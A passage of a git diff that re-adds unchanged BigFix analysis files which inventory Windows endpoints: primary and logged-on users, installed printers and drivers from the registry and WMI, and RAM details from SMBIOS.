-    <Property ID="9" Name="Users logged in (in BESClient Log - 30 days)" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
-    <Property ID="10" Name="User with the most logins (in BESClient Log)" EvaluationPeriod="P1D">(it) whose( multiplicity of it = maximum of multiplicities of unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of (data folder of client) ) of unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of (data folder of client)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Primary User - Windows
+  ID       : 2995831
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-01-25T16:49:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Primary User - Windows</Title>
+    <Description><![CDATA[<P>This analysis attempts to identify the Primary User of the system.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 25 Jan 2016 23:39:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="PrimaryUser (Combined)" EvaluationPeriod="PT12H">ERROR &quot;NotYetWritten&quot;</Property>
+    <Property ID="4" Name="PrimaryUser Setting" EvaluationPeriod="PT1H">unique values of (it as string as trimmed string) of values of settings whose(&quot;PrimaryUser&quot; = name of it) of clients</Property>
+    <Property ID="5" Name="User with most logons" EvaluationPeriod="PT6H">unique values of names of users whose( logon count of it = maximum of logon counts of users )</Property>
+    <Property ID="6" Name="Last Logged on User - Windows" EvaluationPeriod="PT6H">unique values of items 1 of (modification time of it,name of parent folder of it) whose( item 0 of it = ( maximum of modification times of files &quot;NTUSER.DAT&quot; of folders whose ( exists file &quot;NTUSER.DAT&quot; of it AND name of it as lowercase is not contained by set of ( &quot;networkservice&quot;;&quot;localservice&quot;;&quot;administrator&quot;;&quot;default&quot;;&quot;public&quot;;&quot;la-client&quot;;&quot;OTHER_EXCLUDED_USERS&quot; ) ) of (folders &quot;c:\users&quot;; folders &quot;c:\Documents and Settings&quot;) ) ) of files &quot;NTUSER.DAT&quot; of folders whose ( exists file &quot;NTUSER.DAT&quot; of it AND name of it as lowercase is not contained by set of ( &quot;networkservice&quot;;&quot;localservice&quot;;&quot;administrator&quot;;&quot;default&quot;;&quot;public&quot;;&quot;la-client&quot;;&quot;OTHER_EXCLUDED_USERS&quot; ) ) of (folders &quot;c:\users&quot;; folders &quot;c:\Documents and Settings&quot;)</Property>
+    <Property ID="7" Name="Users" EvaluationPeriod="PT6H">(&quot;%22&quot; &amp; it &amp; &quot;%22&quot;) of concatenations &quot;%22;%22&quot; of unique values of (names of logged on users; names of users; names of current users; names of local users)</Property>
+    <Property ID="9" Name="Users logged in (in BESClient Log - 30 days)" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
+    <Property ID="10" Name="User with the most logins (in BESClient Log)" EvaluationPeriod="P1D">(it) whose( multiplicity of it = maximum of multiplicities of unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of (data folder of client) ) of unique values of (preceding texts of lasts &quot;&apos;&quot; of following texts of firsts &quot;User interface process started for user &apos;&quot; of it) of lines whose(it contains &quot;User interface process started for user &apos;&quot;) of files whose( (exists lines of it) AND (name of it as uppercase ends with &quot;.LOG&quot;) AND ( (name of it starts with ((it as string) of ( current year )) ) OR (name of it starts with ((it as string) of ( current year - 1*year )) ) ) ) of folders &quot;__Global/Logs&quot; of (data folder of client)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes b/Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes
index 2f498768d..7da1aa51a 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Printer Audit - Windows
-  ID       : 2994742
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-10-17T07:54:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Printer Audit - Windows</Title>
-    <Description><![CDATA[<P>This Analysis provides information about Windows Printers.</P>
-<P>&nbsp;</P>
-<P>Related:</P>
-<P><A href="https://www.ibm.com/developerworks/community/forums/html/topic?id=d0fa8b7c-9d26-420c-b82b-fbe307f3f4b1&amp;ps=100"><FONT color=#000080>https://www.ibm.com/developerworks/community/forums/html/topic?id=d0fa8b7c-9d26-420c-b82b-fbe307f3f4b1&amp;ps=100</FONT></A></P>
-<P>&nbsp;</P>
-<P>References:</P>
-<P><A href="http://www.stigviewer.com/stig/windows_7/2014-04-02/finding/V-21963">http://www.stigviewer.com/stig/windows_7/2014-04-02/finding/V-21963</A></P>
-<P><A href="http://www.scaprepo.com/view.jsp?id=CCE-18881-3">http://www.scaprepo.com/view.jsp?id=CCE-18881-3</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 17 Oct 2014 14:48:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="# Local Printers" EvaluationPeriod="PT12H">number of keys whose (value &quot;Port&quot; of it as string contains &quot;LPT&quot; OR value &quot;Port&quot; of it as string contains &quot;DOT4&quot; OR value &quot;Port&quot; of it as string contains &quot;USB&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string</Property>
-    <Property ID="2" Name="# IP Address Network Printers" EvaluationPeriod="PT12H">number of keys whose (4 = number of substrings separated by &quot;.&quot; of (value &quot;Port&quot; of it as string)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string</Property>
-    <Property ID="3" Name="Printers" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of unique values of names whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry</Property>
-    <Property ID="5" Name="Printer Models" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of unique values of (values &quot;Model&quot; whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of keys of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string)</Property>
-    <Property ID="6" Name="Default Printers" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of (unique values whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of preceding texts of firsts &quot;,&quot; of ((values &quot;Device&quot; of keys &quot;windows&quot; whose ( exists values &quot;Device&quot; of it )  of keys &quot;Software\Microsoft\Windows NT\CurrentVersion&quot; of keys of key &quot;HKEY_USERS&quot; of registry) as string) as string)</Property>
-    <Property ID="7" Name="Printer Info from WMI" EvaluationPeriod="PT12H">selects &quot;Name,Caption,DeviceID,DriverName,PortName from win32_printer&quot; of wmi</Property>
-    <Property ID="8" Name="Printer Names from WMI (filtered)" EvaluationPeriod="PT12H">unique values whose(not exists (it as lowercase) whose(it = &quot;fax&quot; OR it contains &quot;webex &quot;  OR it contains &quot; converter&quot; OR it contains &quot; virtual printer&quot;  OR it contains &quot; publisher imagesetter&quot; OR it contains &quot; onenote &quot; OR it contains &quot;microsoft &quot; OR it contains &quot;pdf&quot;)) of string values of selects &quot;Name,Caption,DeviceID,DriverName from win32_printer&quot; of wmi</Property>
-    <Property ID="9" Name="Printer Info from ActiveDevices" EvaluationPeriod="PT12H">(friendly name of it | &quot;&lt;noFriName&gt;&quot;, description of it | &quot;&lt;noDesc&gt;&quot;, manufacturer of it | &quot;&lt;noManuf&gt;&quot;, location information of it | &quot;&lt;noLocInfo&gt;&quot; ) of  active devices whose(class of it = &quot;PrintQueue&quot; OR class of it = &quot;Printer&quot;)</Property>
-    <Property ID="10" Name="DoNotInstallCompatibleDriverFromWindowsUpdate (win7+)" EvaluationPeriod="PT12H">values &quot;DoNotInstallCompatibleDriverFromWindowsUpdate&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print&quot; of native registry</Property>
-    <Property ID="11" Name="PrinterNames of ControlSet (registry)" EvaluationPeriod="PT12H">unique values of names of keys of keys &quot;Control\Print\Printers&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry</Property>
-    <Property ID="12" Name="PrinterDrivers of ControlSet (registry)" EvaluationPeriod="PT12H">unique values of names of keys of keys whose(name of it starts with &quot;Version-&quot;) of keys &quot;Drivers&quot; of keys of keys &quot;Control\Print\Environments&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry</Property>
-    <Property ID="13" Name="Names of (PrinterDrivers &amp; PrinterNames) combined&amp;filtered" EvaluationPeriod="PT12H">unique values whose(not exists (it as lowercase) whose(it = &quot;fax&quot; OR it contains &quot;root print &quot; OR it contains &quot;remote desktop &quot; OR it contains &quot;webex &quot; OR it contains &quot; converter&quot; OR it contains &quot; virtual printer&quot; OR it contains &quot; publisher imagesetter&quot; OR it contains &quot; onenote &quot; OR it contains &quot;microsoft &quot; OR it contains &quot;pdf&quot;)) of ( (string values of selects &quot;Name,Caption,DeviceID,DriverName from win32_printer&quot; of wmi);( names of keys of keys &quot;Control\Print\Printers&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry );( names of keys of keys whose(name of it starts with &quot;Version-&quot;) of keys &quot;Drivers&quot; of keys of keys &quot;Control\Print\Environments&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry );(values &quot;Model&quot; of keys of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string);(( if (exists friendly name of it) then (friendly names of it) else (descriptions of it)  ) of active devices whose(class of it = &quot;PrintQueue&quot; OR class of it = &quot;Printer&quot;)) )</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Printer Audit - Windows
+  ID       : 2994742
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-10-17T07:54:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Printer Audit - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information about Windows Printers.</P>
+<P>&nbsp;</P>
+<P>Related:</P>
+<P><A href="https://www.ibm.com/developerworks/community/forums/html/topic?id=d0fa8b7c-9d26-420c-b82b-fbe307f3f4b1&amp;ps=100"><FONT color=#000080>https://www.ibm.com/developerworks/community/forums/html/topic?id=d0fa8b7c-9d26-420c-b82b-fbe307f3f4b1&amp;ps=100</FONT></A></P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://www.stigviewer.com/stig/windows_7/2014-04-02/finding/V-21963">http://www.stigviewer.com/stig/windows_7/2014-04-02/finding/V-21963</A></P>
+<P><A href="http://www.scaprepo.com/view.jsp?id=CCE-18881-3">http://www.scaprepo.com/view.jsp?id=CCE-18881-3</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 17 Oct 2014 14:48:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# Local Printers" EvaluationPeriod="PT12H">number of keys whose (value &quot;Port&quot; of it as string contains &quot;LPT&quot; OR value &quot;Port&quot; of it as string contains &quot;DOT4&quot; OR value &quot;Port&quot; of it as string contains &quot;USB&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string</Property>
+    <Property ID="2" Name="# IP Address Network Printers" EvaluationPeriod="PT12H">number of keys whose (4 = number of substrings separated by &quot;.&quot; of (value &quot;Port&quot; of it as string)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string</Property>
+    <Property ID="3" Name="Printers" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of unique values of names whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry</Property>
+    <Property ID="5" Name="Printer Models" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of unique values of (values &quot;Model&quot; whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of keys of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string)</Property>
+    <Property ID="6" Name="Default Printers" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of (unique values whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of preceding texts of firsts &quot;,&quot; of ((values &quot;Device&quot; of keys &quot;windows&quot; whose ( exists values &quot;Device&quot; of it )  of keys &quot;Software\Microsoft\Windows NT\CurrentVersion&quot; of keys of key &quot;HKEY_USERS&quot; of registry) as string) as string)</Property>
+    <Property ID="7" Name="Printer Info from WMI" EvaluationPeriod="PT12H">selects &quot;Name,Caption,DeviceID,DriverName,PortName from win32_printer&quot; of wmi</Property>
+    <Property ID="8" Name="Printer Names from WMI (filtered)" EvaluationPeriod="PT12H">unique values whose(not exists (it as lowercase) whose(it = &quot;fax&quot; OR it contains &quot;webex &quot;  OR it contains &quot; converter&quot; OR it contains &quot; virtual printer&quot;  OR it contains &quot; publisher imagesetter&quot; OR it contains &quot; onenote &quot; OR it contains &quot;microsoft &quot; OR it contains &quot;pdf&quot;)) of string values of selects &quot;Name,Caption,DeviceID,DriverName from win32_printer&quot; of wmi</Property>
+    <Property ID="9" Name="Printer Info from ActiveDevices" EvaluationPeriod="PT12H">(friendly name of it | &quot;&lt;noFriName&gt;&quot;, description of it | &quot;&lt;noDesc&gt;&quot;, manufacturer of it | &quot;&lt;noManuf&gt;&quot;, location information of it | &quot;&lt;noLocInfo&gt;&quot; ) of  active devices whose(class of it = &quot;PrintQueue&quot; OR class of it = &quot;Printer&quot;)</Property>
+    <Property ID="10" Name="DoNotInstallCompatibleDriverFromWindowsUpdate (win7+)" EvaluationPeriod="PT12H">values &quot;DoNotInstallCompatibleDriverFromWindowsUpdate&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print&quot; of native registry</Property>
+    <Property ID="11" Name="PrinterNames of ControlSet (registry)" EvaluationPeriod="PT12H">unique values of names of keys of keys &quot;Control\Print\Printers&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry</Property>
+    <Property ID="12" Name="PrinterDrivers of ControlSet (registry)" EvaluationPeriod="PT12H">unique values of names of keys of keys whose(name of it starts with &quot;Version-&quot;) of keys &quot;Drivers&quot; of keys of keys &quot;Control\Print\Environments&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry</Property>
+    <Property ID="13" Name="Names of (PrinterDrivers &amp; PrinterNames) combined&amp;filtered" EvaluationPeriod="PT12H">unique values whose(not exists (it as lowercase) whose(it = &quot;fax&quot; OR it contains &quot;root print &quot; OR it contains &quot;remote desktop &quot; OR it contains &quot;webex &quot; OR it contains &quot; converter&quot; OR it contains &quot; virtual printer&quot; OR it contains &quot; publisher imagesetter&quot; OR it contains &quot; onenote &quot; OR it contains &quot;microsoft &quot; OR it contains &quot;pdf&quot;)) of ( (string values of selects &quot;Name,Caption,DeviceID,DriverName from win32_printer&quot; of wmi);( names of keys of keys &quot;Control\Print\Printers&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry );( names of keys of keys whose(name of it starts with &quot;Version-&quot;) of keys &quot;Drivers&quot; of keys of keys &quot;Control\Print\Environments&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry );(values &quot;Model&quot; of keys of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string);(( if (exists friendly name of it) then (friendly names of it) else (descriptions of it)  ) of active devices whose(class of it = &quot;PrintQueue&quot; OR class of it = &quot;Printer&quot;)) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes b/Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes
index 3a9b79296..f804a785e 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Printers - Windows
-  ID       : 2998542
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:43:58
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Printers - Windows</Title>
-    <Description><![CDATA[<P>Analysis of local and AD installed printers for Windows systems only</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Printers - Local - Windows" EvaluationPeriod="P1D">(value &quot;name&quot; of it, value &quot;printer driver&quot; of it, value &quot;port&quot; of it) of keys whose (value &quot;Port&quot; of it as string contains &quot;LPT&quot; OR value &quot;Port&quot; of it as string contains &quot;DOT4&quot; OR value &quot;Port&quot; of it as string contains &quot;USB&quot; OR value &quot;Port&quot; of it as string contains &quot;.&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry</Property>
-    <Property ID="2" Name="Printers - Active Directory - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (values &quot;printShareName&quot; of keys &quot;DsSpooler&quot; of it, values &quot;description&quot; of keys &quot;DsSpooler&quot; of it, values &quot;location&quot; of keys &quot;DsSpooler&quot; of it, values &quot;Printer Driver&quot; of it, values &quot;portName&quot; of keys &quot;DsSpooler&quot; of it, values &quot;ShortServerName&quot; of keys &quot;DsSpooler&quot; of it) of keys of keys whose (name of it = &quot;Printers&quot; ) of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\Client Side Rendering Print Provider\Servers&quot; of registry</Property>
-    <Property ID="3" Name="Printers - Drivers - Windows" EvaluationPeriod="P7D">unique values of (it as string) of (name of it, value &quot;DriverVersion&quot; of it) of keys of keys of keys &quot;Drivers&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Environments&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Printers - Windows
+  ID       : 2998542
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:43:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Printers - Windows</Title>
+    <Description><![CDATA[<P>Analysis of local and AD installed printers for Windows systems only</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Printers - Local - Windows" EvaluationPeriod="P1D">(value &quot;name&quot; of it, value &quot;printer driver&quot; of it, value &quot;port&quot; of it) of keys whose (value &quot;Port&quot; of it as string contains &quot;LPT&quot; OR value &quot;Port&quot; of it as string contains &quot;DOT4&quot; OR value &quot;Port&quot; of it as string contains &quot;USB&quot; OR value &quot;Port&quot; of it as string contains &quot;.&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry</Property>
+    <Property ID="2" Name="Printers - Active Directory - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (values &quot;printShareName&quot; of keys &quot;DsSpooler&quot; of it, values &quot;description&quot; of keys &quot;DsSpooler&quot; of it, values &quot;location&quot; of keys &quot;DsSpooler&quot; of it, values &quot;Printer Driver&quot; of it, values &quot;portName&quot; of keys &quot;DsSpooler&quot; of it, values &quot;ShortServerName&quot; of keys &quot;DsSpooler&quot; of it) of keys of keys whose (name of it = &quot;Printers&quot; ) of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\Client Side Rendering Print Provider\Servers&quot; of registry</Property>
+    <Property ID="3" Name="Printers - Drivers - Windows" EvaluationPeriod="P7D">unique values of (it as string) of (name of it, value &quot;DriverVersion&quot; of it) of keys of keys of keys &quot;Drivers&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Environments&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes b/Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes
index 8afbe1b1f..83e08db08 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Random Access Memory (RAM) Properties (Windows) - Extended
-  ID       : 2994574
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-09-17T11:43:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Random Access Memory (RAM) Properties (Windows) - Extended</Title>
-    <Description><![CDATA[<P>Decoding many of the results of this analysis requires reading the SMBIOS spec found here: <A href="http://dmtf.org/standards/smbios"><FONT color=#000080>http://dmtf.org/standards/smbios</FONT></A> </P>
-<P>If the "smbios" inspector works on other OSes other than Windows, then this analysis should work there too.</P>
-<P>This analysis can be found here: <A href="http://bigfix.me/analysis/details/2994573"><FONT color=#000080>http://bigfix.me/analysis/details/2994573</FONT></A></P>]]></Description>
-    <Relevance>exists smbios</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 17 Sep 2013 18:42:07 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Type" EvaluationPeriod="P2D">unique values of (values &quot;memory_type&quot; of structures &quot;memory_device&quot; whose(value &quot;speed&quot; of it as string != &quot;0&quot;) of smbios as string)</Property>
-    <Property ID="2" Name="Speed (Mhz)" EvaluationPeriod="P2D">unique values of (values &quot;speed&quot; whose(it as string != &quot;0&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
-    <Property ID="3" Name="Manufacturer" EvaluationPeriod="P2D">unique values of (values &quot;manufacturer&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string does not start with &quot;FFFFFFFFFFFF&quot; AND it as string as trimmed string != &quot;&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
-    <Property ID="4" Name="Form Factor" EvaluationPeriod="P2D">unique values of (values &quot;form_factor&quot; of structures &quot;memory_device&quot; of smbios as string)</Property>
-    <Property ID="5" Name="Part Number" EvaluationPeriod="P2D">unique values of (values &quot;part_number&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
-    <Property ID="6" Name="Asset Tag" EvaluationPeriod="P2D">unique values of (values &quot;asset_tag&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
-    <Property ID="7" Name="Serial Number" EvaluationPeriod="P2D">unique values of (values &quot;serial_number&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string != &quot;00000000&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Random Access Memory (RAM) Properties (Windows) - Extended
+  ID       : 2994574
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-09-17T11:43:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Random Access Memory (RAM) Properties (Windows) - Extended</Title>
